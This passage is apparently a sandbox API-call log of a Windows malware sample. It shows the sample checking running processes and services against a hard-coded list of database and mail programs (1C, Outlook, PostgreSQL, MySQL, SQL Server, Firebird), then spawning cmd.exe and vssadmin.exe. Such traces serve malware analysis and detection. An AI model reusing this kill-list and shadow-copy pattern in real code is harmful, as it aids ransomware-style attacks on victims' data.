(lpString="csrss.exe") returned 9 [0050.507] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.507] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.507] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.507] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.507] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.507] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.507] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.507] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.508] lstrlenW (lpString="wininit.exe") returned 11 [0050.508] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.508] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.508] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.508] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0050.508] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0050.508] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0050.508] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0050.509] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.509] lstrlenW (lpString="csrss.exe") returned 9 [0050.509] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.509] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.510] lstrlenW (lpString="winlogon.exe") returned 12 [0050.510] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.511] lstrlenW (lpString="services.exe") returned 12 [0050.511] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.511] lstrlenW (lpString="lsass.exe") returned 9 [0050.511] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.512] lstrlenW (lpString="lsm.exe") returned 7 [0050.512] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.513] lstrlenW (lpString="svchost.exe") returned 11 [0050.513] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.513] lstrlenW (lpString="svchost.exe") returned 11 [0050.513] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.514] lstrlenW (lpString="svchost.exe") returned 11 [0050.514] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.515] lstrlenW (lpString="svchost.exe") returned 11 [0050.515] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.515] lstrlenW (lpString="svchost.exe") returned 11 [0050.516] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.516] lstrlenW (lpString="audiodg.exe") returned 11 [0050.516] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.517] lstrlenW (lpString="svchost.exe") returned 11 [0050.517] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.517] lstrlenW (lpString="svchost.exe") returned 11 [0050.517] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.518] lstrlenW (lpString="dwm.exe") returned 7 [0050.518] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.519] lstrlenW (lpString="explorer.exe") returned 12 [0050.519] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.519] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.519] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.520] lstrlenW (lpString="taskhost.exe") returned 12 [0050.520] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.521] lstrlenW (lpString="svchost.exe") returned 11 [0050.521] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.521] lstrlenW (lpString="taskeng.exe") returned 11 [0050.522] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.522] lstrlenW (lpString="taskhost.exe") returned 12 [0050.522] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0050.523] lstrlenW (lpString="promotesrouting.exe") returned 19 [0050.523] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0050.523] lstrlenW (lpString="rxcalled.exe") returned 12 [0050.524] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0051.188] lstrlenW (lpString="off.exe") returned 7 [0051.188] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0051.189] lstrlenW (lpString="mayorintl.exe") returned 13 [0051.189] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0051.190] lstrlenW (lpString="gzip-june.exe") returned 13 [0051.190] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0051.190] lstrlenW (lpString="lsnavy.exe") returned 10 [0051.191] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0051.191] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0051.191] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0051.192] lstrlenW (lpString="specifications.exe") returned 18 [0051.192] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0051.192] lstrlenW (lpString="soup-mario.exe") returned 14 [0051.193] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0051.193] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0051.193] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0051.194] lstrlenW (lpString="platformsprivate.exe") returned 20 [0051.194] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0051.195] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0051.195] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0051.195] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0051.195] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0051.196] lstrlenW (lpString="scan-allows.exe") returned 15 [0051.196] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0051.197] lstrlenW (lpString="mwprovince.exe") returned 14 [0051.197] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0051.198] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0051.198] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0051.198] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0051.198] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0051.199] lstrlenW (lpString="contacting.exe") returned 14 [0051.199] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0051.200] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0051.200] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0051.201] lstrlenW (lpString="jpmanagers.exe") returned 14 [0051.201] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0051.201] lstrlenW (lpString="motor.exe") returned 9 [0051.201] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0051.202] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0051.202] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0051.203] lstrlenW (lpString="toshiba.exe") returned 11 [0051.203] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.203] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.203] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0051.204] lstrlenW (lpString="mobsync.exe") returned 11 [0051.204] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0051.205] lstrlenW (lpString="3G6885.exe") returned 10 [0051.205] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.205] lstrlenW (lpString="cmd.exe") returned 7 [0051.205] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.206] lstrlenW (lpString="conhost.exe") returned 11 [0051.206] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.207] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.207] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.208] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.208] Process32NextW (in: hSnapshot=0x204, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0051.208] CloseHandle (hObject=0x204) returned 1 [0051.208] Sleep (dwMilliseconds=0x1f4) [0052.118] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fa6f0 [0052.118] EnumServicesStatusExW (in: hSCManager=0x5fa6f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0052.119] GetLastError () returned 0xea [0052.119] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x123e) returned 0x36b4738 [0052.119] EnumServicesStatusExW (in: hSCManager=0x5fa6f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b4738, cbBufSize=0x123e, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b4738, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0052.120] CloseServiceHandle (hSCObject=0x5fa6f0) returned 1 [0052.120] lstrlenW (lpString="Appinfo") returned 7 [0052.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.121] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.121] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.121] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.121] lstrlenW (lpString="AudioSrv") returned 8 [0052.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.121] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.121] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.121] lstrlenW (lpString="BFE") returned 3 [0052.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.121] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.122] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.122] lstrlenW (lpString="CryptSvc") returned 8 [0052.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.122] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.122] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.122] lstrlenW (lpString="CscService") returned 10 [0052.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.122] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.122] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.122] lstrlenW (lpString="DcomLaunch") returned 10 [0052.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.122] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.122] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.122] lstrlenW (lpString="Dhcp") returned 4 [0052.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.123] lstrlenW (lpString="Dnscache") returned 8 [0052.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.123] lstrlenW (lpString="DPS") returned 3 [0052.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.123] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.123] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.123] lstrlenW (lpString="eventlog") returned 8 [0052.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.123] lstrcmpiW 